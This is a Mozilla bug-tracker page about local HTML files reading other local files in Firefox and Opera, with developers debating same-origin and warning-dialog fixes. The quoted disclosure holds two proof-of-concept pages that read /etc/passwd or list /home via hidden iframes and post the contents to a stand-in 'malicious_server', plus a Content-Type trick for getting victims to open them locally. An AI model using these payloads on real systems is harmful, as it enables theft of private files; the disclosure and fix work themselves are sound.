Closed Bug 273419 Opened 20 years ago Closed 19 years ago

Disclosure of local file content to locally opened HTML files

Categories

(Core :: Security, defect)

Product:
Core
Component:
Security
Type:
defect
Priority:
Not set
Severity:
major

Tracking

()

Status:
RESOLVED DUPLICATE of bug 230606

People

(Reporter: dveditz, Assigned: dveditz)

References

Details

(Whiteboard: [sg:fix])

Summary is the subject of a message on the Full-Disclosure security mailing list posted by Giovanni Delvecchio (badpenguin at zone-h dot org). - - - - - - - - - - - - Disclosure of local file content in Mozilla Firefox and Opera Note: I don't know if it could be considered really a security problem, anyway i'll try to explain my ideas. Sorry for my bad english. Author: Giovanni Delvecchio Applications affected: - Firefox 1.0 - Mozilla 1.7 - Opera 7.54 (*) ( maybe also previous versions ) Tested versions: - Firefox 1.0 on Linux and Windows - Mozilla 1.7 on Windows - Opera 7.51,..7.54 on Linux Note: The content of the following text could be applied also to other browsers, i have checked just Mozilla, Firefox,Opera and Microsoft Internet Explorer. Microsoft Internet Explorer seems not to be affected. Description: =========== A possible problem exist in some browsers where a frame can gain access to attributes of another frame or iframe. An application of this "bug?" could be the possibility to disclose local directory structure. Moreover ther is is a possibility for a remote users to get the content of target users's local files. This can be achieved by using of the method .innerHTML , such method isn't standard but it's supported from the most broswers like Opera and Mozila Firefox. With Opera, i have noted that is possible read the content of local file just if they have *.htm or *.hml extension. PoC: === The following PoCs are refered to linux versions of Firefox and Opera, but they can be applied also to Windows versions. Read a local file by inner.HTML method: -------------------------------------------------------- <HTML> <BODY onLoad="ReadFileContent()" > <iframe name="local_file" src="file:///etc/passwd" height=0 width=0></iframe> <form name="module" method="post" action="http://malicious_server/grab.php" ENCTYPE="text/plain"> <input name="content" type="hidden" size="300" > </form> <script> function ReadFileContent(){ alert(local_file.document.all(0).innerHTML); document.module.content.value+=local_file.document.all(0).innerHTML; //send content to malicious_server document.module.submit(); } </script> </body> </html> (*) it works with Firefox with Opera it works just a file has .htm or html extension. ----------------------------------------------------------- Enum /home directory structure: ---------------------------------------- <html> <body onLoad=" for(i=0;i<local_files.document.links.length;i++) {document.module.content.value+=local_files.document.links.item(i);} alert(document.module.content.value); //send list_files at malicious_server document.module.submit(); "> <form name="module" method="post" action="http://malicious_server/grab.php" ENCTYPE="text/plain"> <input name="content" type="hidden" size="300" > </form> <iframe name="local_files" src="file:///home/" height=0 width=0></iframe> </body> </html> ------------------------------------------- Impact: ====== A malicious server could : - obtain content of /home/ directory ( or c:\Document and Setting\ for windows system ) and so know a set of usernames present on system target. - know if a particolar program is installed on target system for a succesive attack. - Read confidential file content - Read browser's cache In opera it is located in ~/.opera/cache4, instead in Mozilla Firefox it's in /.mozilla/firefox/$RANDOM-STRING.default/Cache. Since is possible enum the directory structure , a malicious user could easily know the path to firefox's cache Anyway it cannot be exploited "directly" by a remote site, but only if the page is opened from a local path ( file://localpath/code.htm), since the iframe belongs to a local domain. Note: with Internet Explorer these PoCs doesn't work even in local. Possible method of remote exploitation: ================================ Question: How could a malicious remote user exploit it ? My idea is the following: After that the user "victim" has required http://maliciuos_server/page.htm, if malicious_server responds with a page containing an unknown Content-Type field ( for example text/html. ,note the dot) ,the browser will show a dialog window with some options (open, save, cancel). Choosing "Open" to view this page, it will be downloaded and opened in local ; javascript code will be executed in local context. Obviously, if user chooses to save and after open it the result is equal. (*) For Opera this method of remote exploitation requires that opera must be setted as Default Application in "handler for saved files" whether the user choose "Open" in the dialog window. Another possible remote exploitation suggest by Lie Die Yu in response to a my message on bugtraq ( http://www.securityfocus.com/archive/1/382855/2004-11-30/2004-12-06/0 ) : "Ask target to open an HTML file in a remote SMBFS folder - expecting him to mount -t smbfs [...] /mnt/[...] and open "/mnt/[...].html" in Mozilla " Vendor notice ============== 24th November 2004: I have contacted mozilla by security-at-mozilla.org and Opera by its bug track page at https://bugs.opera.com/wizard/ No response from both at the moment. Solution ======== - Disable Javascript Note: I have not checked, but seems that Firefox 1.0 RC1 is not affected. [dveditz note: this is because document.all was not supported, but the script can be rewritten using DOM standard document.firstChild]
Whiteboard: [sg:fix]
Group: security
Blocks: sbb?
so.. this is the standard thing about all file:/// uris being considered part of the same security context. Jesse has existing bugs on this, as I recall.
Dup of bug 230606?
At least dependent.
Depends on: 230606
*** Bug 273502 has been marked as a duplicate of this bug. ***
The problem is that Mozila use the mime-type for served by http documents but it does use the extension for opening local files. Disable the "open with" option if the application is Mozilla itself. This would move the "who is to blame" around to the user because he has to go through the OS Filemanager to open it.
> The problem is that Mozila use the mime-type for served by http documents but > it does use the extension for opening local files. I don't understand. > Disable the "open with" option if the application is Mozilla itself. That wouldn't help much. The default application for .html be another web browser. > This would move the "who is to blame" around to the user because he has to go > through the OS Filemanager to open it. I disagree. I would not blame a user for not knowing that opening an untrusted local .html is dangerous. It should not be dangerous -- that's why I filed bug 230606.
A simple workaround would be to act like Internet Explorer SP2. Disallow scripting and applets in what they call "the local machine" zone. For instance, if a page on the local computer tries to run a script, display a dialog box like ------------------Security Warning----------------- | The file you are trying to view contains active | | content who could read the contents of files on | | your computer. | | | | You should only allow this content to run if | | trust the author of the file. | | | | [ ] Never ask me again. | | | | [Allow] [Deny] | ---------------------------------------------------
Blocks: sg-ff101
Internet Explorer SP2 makes it difficult to develop web pages locally, even when the page is entirely self-contained, because it disables scripts entirely. Furthermore, enabling scripts in a local page gives them abilities they should not have. It would be better to restrict the same-origin policy for local files. If that causes problems for many web developers (I don't think it will), Firefox can show a warning similar to IE's if the page tries to violate the new same-origin policy by reading another local file.
Blocks: sbb-, sg-moz176
No longer blocks: sbb?
Flags: blocking1.8b?
Flags: blocking-aviary1.1?
> Anyway it cannot be exploited "directly" by a remote site, but only if the > page is opened from a local path Adding that to summary
Summary: Disclosure of local file content in Mozilla Firefox and Opera → Disclosure of local file content to locally opened HTML files
Flags: blocking1.8b?
Flags: blocking1.8b+
Flags: blocking-aviary1.1?
Flags: blocking-aviary1.1+
Jesse, imo (may or may not be worthy for this bug) this dialog should only show if someone needs to READ the contents of another local file, via scripting for example as in this bug, or via an IFRAME (perhaps) etc. Simply including/changing a <image> or <object> src itself should not have any blockage on it, if the callee is local system. /me removes any sense of a developer and notes that he has no experience in developing security policies just for the record.
Flags: blocking-aviary1.0.1?
fix would need testing on the trunk. -minus for 1.0.1
Flags: blocking-aviary1.0.1? → blocking-aviary1.0.1-
Mozilla would be free to implement whatever security checks seemed easy or reasonable if most web developers never put absolute URLs in their local HTML in the first place. That would make this bug fix straightforward. Web developers create local files with absolute URLs mostly because they need to test form submission out before they publish their sites. If Mozilla could submit forms locally when the HTML is local and URLs are relative, then web developers could test out their form submission without having to hack absolute URLs into their locally stored files in the first place. That is a sanity increase for web developers. To implement this, have trivial local form-submission support that just logs the form data to a log file and replies with an HTTP 204. More completely, add a config option enabling client-side CGI (bug 68702) through the local ./cgi-bin, or whatever. Enable it only when the origin is local disk. - N.
(In reply to comment #9) > > Anyway it cannot be exploited "directly" by a remote site, but only if the > > page is opened from a local path > > Adding that to summary My target was explain how a remote user could take advantage by some feature for read local file, using a Content-Type "spoofing" to trick the user to open an html page. I think that this could represent a security/privacy problem for the 80% of users. In your opinion how many people would choose "Open" when a dialog window is showed to view an html page? I think at least 80 % ( and maybe more ;) ) Note that i have made some test with several browsers and just with Mozilla Firefox and Opera* has been possible have a successful "exploitation". I think that at least a window with a warning for the user would be usefull. Best Regards, Giovanni Delvecchio.
moving blocking status to beta2, assuming this is still on our important to fix list.
Flags: blocking1.8b+ → blocking1.8b2+
I think we had a big discussion about this somewhere but I can't remember how it ended. Seems to me we could make a huge dent in this problem by doing two things: -- Modify our "Save As" code to emit metadata indicating those HTML files should be in a sandbox. -- Detect when content is on a remote filesystem and sandbox it by filesystem.
I don't think roc's solution is the right one. There are plenty of other ways for .html files to get on the user's hard drive, including: * URLs with "content-disposition: attachment" and an .html extension. * Attachments from e-mail programs other than Thunderbird. * Files sent over AIM. * HTML files included in illegal torrents of music CDs. * Zip archives from the web or from e-mail. As a result, roc's solution would make our message to users *more* complicated than it is now. The current message is "Opening local HTML files is not safe". With roc's change, the message will be "Opening local HTML files is not safe, unless you saved them with Firefox". In contrast, tightening the same-origin policy for local files would eliminate the need for this message. (There could be an information bar if a file attempts to violate the same-origin policy, with UI to override.)
I think roc's point is a very weak security regime, because it allows the user or apps that share user files to compromise Mozilla security merely by specifying the right data. At least other, equivalent attacks (say on user_prefs.js) can be locked out by a network admin. Not so for arbitrarily named files. I've been doing cross browser DHTML testing lately, and have a renewed appreciation of how poorly IE supports web developers, including its information bars for local files. The IE information bar is highly annoying, but I'm too busy analysing micro-iterations of my page to ever spend time getting rid of it permanently. So effectively I'm stuck with it. I observed this behavior in other web developers too. My take-away is that we should resist smacking web developers in the face with bars that they don't want to interact with at all. I also spent some time trying to shoot comment 12 down. All I managed to do was see that "local submits" also support automated testing. The message that local submits gives to users is "Opening local files is safe" - since Jesse's info bar will pop up ifany submit target's a remote website. The message local submits gives to web developers is: "Opening local files 'just works' if you use relative urls". Where's the downside? - N.
I don't understand the third paragraph of Nigel's comment 17. Forcing forms in local pages to "submit locally", whatever that means, wouldn't prevent local pages from using or communicating information about local files in other ways. Fixing the same-origin policy would be easier and would break fewer pages than trying to prevent local pages from communicating information to the outside world.
(local submit means putting a CGI gateway or similar inside Mozilla) I'm not suggesting local submits are a security tactic. My suggestion is about reducing the number of warnings that need to be thrown up IF we improve security. I'm in favour of enforcing "same origin" with a warning dialog box or an information bar at all times. My point is that there's a corner case where we can avoid upsetting developers and still make users safer. It is when you have: a) a HTML file on local disk b) with a form in it c) that submits to a relative URL. Here's an example. Try submitting after loading this /tmp/test.html: <html><body> <form method="get" action="foo.cgi">...<input type="submit"></form> </body></html> Normally this combination throws up an alert if you submit - 'foo.cgi not found'. Now, if you also create a /tmp/foo.cgi, and then submit again, foo.cgi is just returned as plain text without being run thru CGI. Web developers know this, so they replace "foo.cgi" in the page with "http://example.com/foo.cgi", in order to get real CGI. They change a relative URL to an absolute one for the sole reason that they would like to test the local copy of their page. With same-origin enforced for local disk, that will mean an extra warning for web developers, ala IE, since the page and the CGI resource are different origins. That's a security improvement, but no improvement for web developers. In fact it's worse than what they have today. Nevertheless, I support adding this extra warning in this case, for the security reasons cited by this bug. However, if the original "foo.cgi" actually WAS called as a CGI (local submit), then the page and submit are happily all in the same origin (local disk). Web devs wouldn't have to hack in "http://example.com/foo.cgi" in order to test page submission (because local submit works for relative URLs) AND they wouldn't get ANY warning dialog, neither old or new. It's a smoother development experience, with no irritations, and better than today's arrangements. With local submits, end-users still have the better protection afforded by new warnings. If anyone persuades them to save an HTML document to local disk, and then load it, and then submit its form, they either get a warning (absolute URL in form = different orgin), or their data stays local (relative URL in form = local submit). In the local submit case, effectively nothing happens, which is safe. Hope that's clearer. If this suggestion were to be taken up, then X% of the imaginable test cases for a final fix would cause a warning, and the other (100-X)% cases would silently cause local submits in order to support web developers. - N.
IE's solution is here: http://msdn.microsoft.com/workshop/author/dhtml/overview/motw.asp This is the same as the first half of comment #15, and in IE I think this is a poorly thought-out solution. To break it, just catch a virus that scans local .htm files and removes this metadata. IE's security is then blown. If Mozilla relied on metadata, our security would be blown by that virus as well. Better to have security inside the Mozilla binary. The idea of "MOTW" is also a piece of Microsoft marketing rhetoric designed to make the web look unsafe next to Windows. Let's not participate in that. - N.
(In reply to comment #20) > This is the same as the first half of comment #15, and in IE I think > this is a poorly thought-out solution. To break it, just catch a virus > that scans local .htm files and removes this metadata. If there's a virus running on your system, it can already do whatever it wants, including download and run arbitrary code, so I don't understand why this should be considerd a vulnerability in the metadata approach.
roc, you're quite right, but should Mozilla be a domino that falls automatically when the IE domino falls? I think the metadata approach is particularly easy for a script kiddie to exploit. We don't mark the individual resources in other URL schemes with security info, so why should we make an exception for file: when same origin can do the job. Is there a use-case that same-origin doesn't cover? - N.
(In reply to comment #22) > roc, you're quite right, but should Mozilla be a domino that falls > automatically when the IE domino falls? I think the metadata > approach is particularly easy for a script kiddie to exploit. Once an attacker is running arbitrary code on your system, all dominos have fallen. They could, for example, reconfigure Mozilla (or IE) so that all sites are fully trusted. It is futile to try to protect the user from the effects of a full system compromise. [Okay there's still a distinction between "running arbitrary code as user" and "able to run arbitrary code as root/Administrator" but that's not in view here.] > We don't mark the individual resources in other URL schemes with > security info, so why should we make an exception for file: when > same origin can do the job. Is there a use-case that same-origin > doesn't cover? The problem is that we don't have a reasonable same-origin policy for file: sources.
speculated on a solution in n.p.m.security: <d3q1r3$1aj2@ripley.netscape.com> - N.
Dan, It's not clear to me that this is something that we need to, or are likely to fix for 1.8b3. Please reset the blocking+ flag if it still is.
Flags: blocking1.8b2?
Flags: blocking1.8b2+
Flags: blocking-aviary1.1?
Flags: blocking-aviary1.1+
Flags: blocking1.8b2? → blocking1.8b2-
Flags: blocking-aviary1.1? → blocking1.8b4?
Flags: blocking1.8b4? → blocking1.8b4-
*** This bug has been marked as a duplicate of 230606 ***
Status: NEW → RESOLVED
Closed: 19 years ago
Resolution: --- → DUPLICATE
You need to log in before you can comment on or make changes to this bug.